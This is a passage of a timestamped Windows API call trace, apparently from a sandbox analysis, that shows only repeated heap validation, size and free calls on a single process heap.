(HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42eaca8) returned 0x10 [0163.801] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42eaca8) returned 1 [0163.801] GetProcessHeap () returned 0x42e0000 [0163.801] GetProcessHeap () returned 0x42e0000 [0163.801] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e97d0) returned 1 [0163.802] GetProcessHeap () returned 0x42e0000 [0163.802] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e97d0) returned 0x14 [0163.802] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e97d0) returned 1 [0163.802] GetProcessHeap () returned 0x42e0000 [0163.802] GetProcessHeap () returned 0x42e0000 [0163.802] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e8fd8) returned 1 [0163.802] GetProcessHeap () returned 0x42e0000 [0163.802] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e8fd8) returned 0xa0 [0163.802] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e8fd8) returned 1 [0163.802] GetProcessHeap () returned 0x42e0000 [0163.802] GetProcessHeap () returned 0x42e0000 [0163.802] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e7400) returned 1 [0163.802] GetProcessHeap () returned 0x42e0000 [0163.802] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e7400) returned 0x10 [0163.802] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e7400) returned 1 [0163.802] GetProcessHeap () returned 0x42e0000 [0163.802] GetProcessHeap () returned 0x42e0000 [0163.802] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9470) returned 1 [0163.802] GetProcessHeap () returned 0x42e0000 [0163.802] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9470) returned 0x14 [0163.802] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9470) returned 1 [0163.802] GetProcessHeap () returned 0x42e0000 [0163.802] GetProcessHeap () returned 0x42e0000 [0163.803] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42ebcc0) returned 1 [0163.803] GetProcessHeap () returned 0x42e0000 [0163.803] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42ebcc0) returned 0x72 [0163.803] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42ebcc0) returned 1 [0163.803] GetProcessHeap () returned 0x42e0000 [0163.803] GetProcessHeap () returned 0x42e0000 [0163.803] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42eab40) returned 1 [0163.803] GetProcessHeap () returned 0x42e0000 [0163.803] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42eab40) returned 0x10 [0163.803] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42eab40) returned 1 [0163.803] GetProcessHeap () returned 0x42e0000 [0163.803] GetProcessHeap () returned 0x42e0000 [0163.803] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e95b0) returned 1 [0163.803] GetProcessHeap () returned 0x42e0000 [0163.803] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e95b0) returned 0x14 [0163.803] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e95b0) returned 1 [0163.803] GetProcessHeap () returned 0x42e0000 [0163.803] GetProcessHeap () returned 0x42e0000 [0163.803] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42eaf18) returned 1 [0163.803] GetProcessHeap () returned 0x42e0000 [0163.803] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42eaf18) returned 0x76 [0163.804] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42eaf18) returned 1 [0163.804] GetProcessHeap () returned 0x42e0000 [0163.804] GetProcessHeap () returned 0x42e0000 [0163.804] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42eae28) returned 1 [0163.804] GetProcessHeap () returned 0x42e0000 [0163.804] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42eae28) returned 0x10 [0163.804] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42eae28) returned 1 [0163.804] GetProcessHeap () returned 0x42e0000 [0163.804] GetProcessHeap () returned 0x42e0000 [0163.804] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9670) returned 1 [0163.804] GetProcessHeap () returned 0x42e0000 [0163.804] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9670) returned 0x14 [0163.804] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9670) returned 1 [0163.804] GetProcessHeap () returned 0x42e0000 [0163.804] GetProcessHeap () returned 0x42e0000 [0163.804] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e74f0) returned 1 [0163.804] GetProcessHeap () returned 0x42e0000 [0163.804] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e74f0) returned 0xc [0163.804] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e74f0) returned 1 [0163.804] GetProcessHeap () returned 0x42e0000 [0163.804] GetProcessHeap () returned 0x42e0000 [0163.804] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e7460) returned 1 [0163.804] GetProcessHeap () returned 0x42e0000 [0163.804] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e7460) returned 0x10 [0163.804] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e7460) returned 1 [0163.804] GetProcessHeap () returned 0x42e0000 [0163.804] GetProcessHeap () returned 0x42e0000 [0163.804] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e95f0) returned 1 [0163.805] GetProcessHeap () returned 0x42e0000 [0163.805] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e95f0) returned 0x14 [0163.805] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e95f0) returned 1 [0163.805] GetProcessHeap () returned 0x42e0000 [0163.805] GetProcessHeap () returned 0x42e0000 [0163.805] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e8dc8) returned 1 [0163.805] GetProcessHeap () returned 0x42e0000 [0163.805] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e8dc8) returned 0x208 [0163.805] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e8dc8) returned 1 [0163.805] GetProcessHeap () returned 0x42e0000 [0163.805] GetProcessHeap () returned 0x42e0000 [0163.805] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e7568) returned 1 [0163.805] GetProcessHeap () returned 0x42e0000 [0163.805] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e7568) returned 0x10 [0163.805] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e7568) returned 1 [0163.805] GetProcessHeap () returned 0x42e0000 [0163.805] GetProcessHeap () returned 0x42e0000 [0163.805] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9610) returned 1 [0163.805] GetProcessHeap () returned 0x42e0000 [0163.805] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9610) returned 0x14 [0163.805] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9610) returned 1 [0163.805] GetProcessHeap () returned 0x42e0000 [0163.805] GetProcessHeap () returned 0x42e0000 [0163.806] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42ea908) returned 1 [0163.806] GetProcessHeap () returned 0x42e0000 [0163.806] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42ea908) returned 0x200 [0163.806] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42ea908) returned 1 [0163.806] GetProcessHeap () returned 0x42e0000 [0163.806] GetProcessHeap () returned 0x42e0000 [0163.806] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e7418) returned 1 [0163.806] GetProcessHeap () returned 0x42e0000 [0163.806] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e7418) returned 0x10 [0163.806] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e7418) returned 1 [0163.806] GetProcessHeap () returned 0x42e0000 [0163.806] GetProcessHeap () returned 0x42e0000 [0163.806] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9450) returned 1 [0163.806] GetProcessHeap () returned 0x42e0000 [0163.806] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9450) returned 0x14 [0163.806] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9450) returned 1 [0163.806] GetProcessHeap () returned 0x42e0000 [0163.806] GetProcessHeap () returned 0x42e0000 [0163.806] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e97b0) returned 1 [0163.806] GetProcessHeap () returned 0x42e0000 [0163.806] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e97b0) returned 0x14 [0163.806] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e97b0) returned 1 [0163.807] GetProcessHeap () returned 0x42e0000 [0163.807] GetProcessHeap () returned 0x42e0000 [0163.807] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e7520) returned 1 [0163.807] GetProcessHeap () returned 0x42e0000 [0163.807] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e7520) returned 0x10 [0163.807] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e7520) returned 1 [0163.807] GetProcessHeap () returned 0x42e0000 [0163.807] GetProcessHeap () returned 0x42e0000 [0163.807] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e2868) returned 1 [0163.807] GetProcessHeap () returned 0x42e0000 [0163.807] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e2868) returned 0x14 [0163.807] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e2868) returned 1 [0163.807] GetProcessHeap () returned 0x42e0000 [0163.807] GetProcessHeap () returned 0x42e0000 [0163.807] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9510) returned 1 [0163.807] GetProcessHeap () returned 0x42e0000 [0163.807] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9510) returned 0x16 [0163.807] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9510) returned 1 [0163.807] GetProcessHeap () returned 0x42e0000 [0163.807] GetProcessHeap () returned 0x42e0000 [0163.807] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e74c0) returned 1 [0163.807] GetProcessHeap () returned 0x42e0000 [0163.807] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e74c0) returned 0x10 [0163.807] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e74c0) returned 1 [0163.807] GetProcessHeap () returned 0x42e0000 [0163.807] GetProcessHeap () returned 0x42e0000 [0163.807] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e6700) returned 1 [0163.807] GetProcessHeap () returned 0x42e0000 [0163.807] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e6700) returned 0x14 [0163.807] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e6700) returned 1 [0163.807] GetProcessHeap () returned 0x42e0000 [0163.807] GetProcessHeap () returned 0x42e0000 [0163.807] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e0598) returned 1 [0163.808] GetProcessHeap () returned 0x42e0000 [0163.808] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e0598) returned 0x2 [0163.808] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e0598) returned 1 [0163.808] GetProcessHeap () returned 0x42e0000 [0163.808] GetProcessHeap () returned 0x42e0000 [0163.808] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e6f30) returned 1 [0163.808] GetProcessHeap () returned 0x42e0000 [0163.808] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e6f30) returned 0x14 [0163.808] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e6f30) returned 1 [0163.808] GetProcessHeap () returned 0x42e0000 [0163.808] GetProcessHeap () returned 0x42e0000 [0163.808] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e6cf8) returned 1 [0163.808] GetProcessHeap () returned 0x42e0000 [0163.808] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e6cf8) returned 0x14 [0163.808] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e6cf8) returned 1 [0163.808] GetProcessHeap () returned 0x42e0000 [0163.808] GetProcessHeap () returned 0x42e0000 [0163.808] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e6d18) returned 1 [0163.808] GetProcessHeap () returned 0x42e0000 [0163.808] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e6d18) returned 0x14 [0163.808] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e6d18) returned 1 [0163.808] GetProcessHeap () returned 0x42e0000 [0163.808] GetProcessHeap () returned 0x42e0000 [0163.808] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e6d38) returned 1 [0163.808] GetProcessHeap () returned 0x42e0000 [0163.808] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e6d38) returned 0x14 [0163.808] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e6d38) returned 1 [0163.808] GetProcessHeap () returned 0x42e0000 [0163.808] GetProcessHeap () returned 0x42e0000 [0163.808] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9570) returned 1 [0163.808] GetProcessHeap () returned 0x42e0000 [0163.809] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9570) returned 0x14 [0163.809] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9570) returned 1 [0163.809] GetProcessHeap () returned 0x42e0000 [0163.809] GetProcessHeap () returned 0x42e0000 [0163.809] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42eacd8) returned 1 [0163.809] GetProcessHeap () returned 0x42e0000 [0163.809] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42eacd8) returned 0xc [0163.809] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42eacd8) returned 1 [0163.809] GetProcessHeap () returned 0x42e0000 [0163.809] GetProcessHeap () returned 0x42e0000 [0163.809] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9490) returned 1 [0163.809] GetProcessHeap () returned 0x42e0000 [0163.809] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9490) returned 0x14 [0163.809] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9490) returned 1 [0163.809] GetProcessHeap () returned 0x42e0000 [0163.809] GetProcessHeap () returned 0x42e0000 [0163.809] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e2670) returned 1 [0163.809] GetProcessHeap () returned 0x42e0000 [0163.809] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e2670) returned 0x30 [0163.809] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e2670) returned 1 [0163.809] GetProcessHeap () returned 0x42e0000 [0163.809] GetProcessHeap () returned 0x42e0000 [0163.809] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e94b0) returned 1 [0163.810] GetProcessHeap () returned 0x42e0000 [0163.810] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e94b0) returned 0x14 [0163.810] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e94b0) returned 1 [0163.810] GetProcessHeap () returned 0x42e0000 [0163.810] GetProcessHeap () returned 0x42e0000 [0163.810] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9080) returned 1 [0163.810] GetProcessHeap () returned 0x42e0000 [0163.810] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9080) returned 0x30 [0163.810] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9080) returned 1 [0163.810] GetProcessHeap () returned 0x42e0000 [0163.810] GetProcessHeap () returned 0x42e0000 [0163.810] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9690) returned 1 [0163.810] GetProcessHeap () returned 0x42e0000 [0163.810] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9690) returned 0x14 [0163.810] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9690) returned 1 [0163.810] GetProcessHeap () returned 0x42e0000 [0163.810] GetProcessHeap () returned 0x42e0000 [0163.810] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e95d0) returned 1 [0163.810] GetProcessHeap () returned 0x42e0000 [0163.810] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e95d0) returned 0x16 [0163.810] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e95d0) returned 1 [0163.810] GetProcessHeap () returned 0x42e0000 [0163.810] GetProcessHeap () returned 0x42e0000 [0163.810] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e96b0) returned 1 [0163.811] GetProcessHeap () returned 0x42e0000 [0163.811] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e96b0) returned 0x14 [0163.811] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e96b0) returned 1 [0163.811] GetProcessHeap () returned 0x42e0000 [0163.811] GetProcessHeap () returned 0x42e0000 [0163.811] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9730) returned 1 [0163.811] GetProcessHeap () returned 0x42e0000 [0163.811] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9730) returned 0x16 [0163.811] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9730) returned 1 [0163.811] GetProcessHeap () returned 0x42e0000 [0163.811] GetProcessHeap () returned 0x42e0000 [0163.811] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9410) returned 1 [0163.811] GetProcessHeap () returned 0x42e0000 [0163.811] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9410) returned 0x14 [0163.811] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9410) returned 1 [0163.811] GetProcessHeap () returned 0x42e0000 [0163.811] GetProcessHeap () returned 0x42e0000 [0163.811] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42fa250) returned 1 [0163.811] GetProcessHeap () returned 0x42e0000 [0163.811] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42fa250) returned 0x82 [0163.812] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42fa250) returned 1 [0163.812] GetProcessHeap () returned 0x42e0000 [0163.812] GetProcessHeap () returned 0x42e0000 [0163.812] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e96d0) returned 1 [0163.812] GetProcessHeap () returned 0x42e0000 [0163.812] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e96d0) returned 0x14 [0163.812] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e96d0) returned 1 [0163.812] GetProcessHeap () returned 0x42e0000 [0163.812] GetProcessHeap () returned 0x42e0000 [0163.812] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42ead80) returned 1 [0163.812] GetProcessHeap () returned 0x42e0000 [0163.812] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42ead80) returned 0xe [0163.812] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42ead80) returned 1 [0163.812] GetProcessHeap () returned 0x42e0000 [0163.812] GetProcessHeap () returned 0x42e0000 [0163.812] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e94f0) returned 1 [0163.812] GetProcessHeap () returned 0x42e0000 [0163.812] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e94f0) returned 0x14 [0163.812] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e94f0) returned 1 [0163.812] GetProcessHeap () returned 0x42e0000 [0163.812] GetProcessHeap () returned 0x42e0000 [0163.812] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42eac48) returned 1 [0163.812] GetProcessHeap () returned 0x42e0000 [0163.813] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42eac48) returned 0xc [0163.817] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42eac48) returned 1 [0163.817] GetProcessHeap () returned 0x42e0000 [0163.817] GetProcessHeap () returned 0x42e0000 [0163.817] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9710) returned 1 [0163.817] GetProcessHeap () returned 0x42e0000 [0163.817] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9710) returned 0x14 [0163.817] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9710) returned 1 [0163.817] GetProcessHeap () returned 0x42e0000 [0163.817] GetProcessHeap () returned 0x42e0000 [0163.817] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42eabd0) returned 1 [0163.817] GetProcessHeap () returned 0x42e0000 [0163.817] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42eabd0) returned 0xe [0163.817] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42eabd0) returned 1 [0163.817] GetProcessHeap () returned 0x42e0000 [0163.817] GetProcessHeap () returned 0x42e0000 [0163.817] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9550) returned 1 [0163.817] GetProcessHeap () returned 0x42e0000 [0163.817] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9550) returned 0x14 [0163.817] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9550) returned 1 [0163.817] GetProcessHeap () returned 0x42e0000 [0163.817] GetProcessHeap () returned 0x42e0000 [0163.817] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42ead68) returned 1 [0163.817] GetProcessHeap () returned 0x42e0000 [0163.817] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42ead68) returned 0x10 [0163.817] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42ead68) returned 1 [0163.817] GetProcessHeap () returned 0x42e0000 [0163.817] GetProcessHeap () returned 0x42e0000 [0163.817] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9530) returned 1 [0163.817] GetProcessHeap () returned 0x42e0000 [0163.817] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9530) returned 0x14 [0163.817] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9530) returned 1 [0163.817] GetProcessHeap () returned 0x42e0000 [0163.818] GetProcessHeap () returned 0x42e0000 [0163.818] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e7580) returned 1 [0163.818] GetProcessHeap () returned 0x42e0000 [0163.818] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e7580) returned 0x10 [0163.818] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e7580) returned 1 [0163.818] GetProcessHeap () returned 0x42e0000 [0163.818] GetProcessHeap () returned 0x42e0000 [0163.818] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e6928) returned 1 [0163.818] GetProcessHeap () returned 0x42e0000 [0163.818] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e6928) returned 0x14 [0163.818] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e6928) returned 1 [0163.818] GetProcessHeap () returned 0x42e0000 [0163.818] GetProcessHeap () returned 0x42e0000 [0163.818] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e6948) returned 1 [0163.818] GetProcessHeap () returned 0x42e0000 [0163.818] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e6948) returned 0x14 [0163.818] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e6948) returned 1 [0163.818] GetProcessHeap () returned 0x42e0000 [0163.818] GetProcessHeap () returned 0x42e0000 [0163.818] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e6968) returned 1 [0163.818] GetProcessHeap () returned 0x42e0000 [0163.818] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e6968) returned 0x14 [0163.818] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e6968) returned 1 [0163.818] GetProcessHeap () returned 0x42e0000 [0163.818] GetProcessHeap () returned 0x42e0000 [0163.818] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e66c0) returned 1 [0163.819] GetProcessHeap () returned 0x42e0000 [0163.819] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e66c0) returned 0x14 [0163.819] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e66c0) returned 1 [0163.819] GetProcessHeap () returned 0x42e0000 [0163.819] GetProcessHeap () returned 0x42e0000 [0163.819] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e7538) returned 1 [0163.819] GetProcessHeap () returned 0x42e0000 [0163.819] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e7538) returned 0x10 [0163.819] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e7538) returned 1 [0163.819] GetProcessHeap () returned 0x42e0000 [0163.819] GetProcessHeap () returned 0x42e0000 [0163.819] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e66e0) returned 1 [0163.819] GetProcessHeap () returned 0x42e0000 [0163.819] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e66e0) returned 0x14 [0163.819] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e66e0) returned 1 [0163.819] GetProcessHeap () returned 0x42e0000 [0163.819] GetProcessHeap () returned 0x42e0000 [0163.819] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e2888) returned 1 [0163.819] GetProcessHeap () returned 0x42e0000 [0163.819] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e2888) returned 0x14 [0163.819] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e2888) returned 1 [0163.819] GetProcessHeap () returned 0x42e0000 [0163.819] GetProcessHeap () returned 0x42e0000 [0163.819] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9630) returned 1 [0163.819] GetProcessHeap () returned 0x42e0000 [0163.819] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e9630) returned 0x14 [0163.819] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9630) returned 1 [0163.819] GetProcessHeap () returned 0x42e0000 [0163.819] GetProcessHeap () returned 0x42e0000 [0163.819] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9650) returned 1 [0163.819] GetProcessHeap () returned 0x42e0000 [0163.820] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, 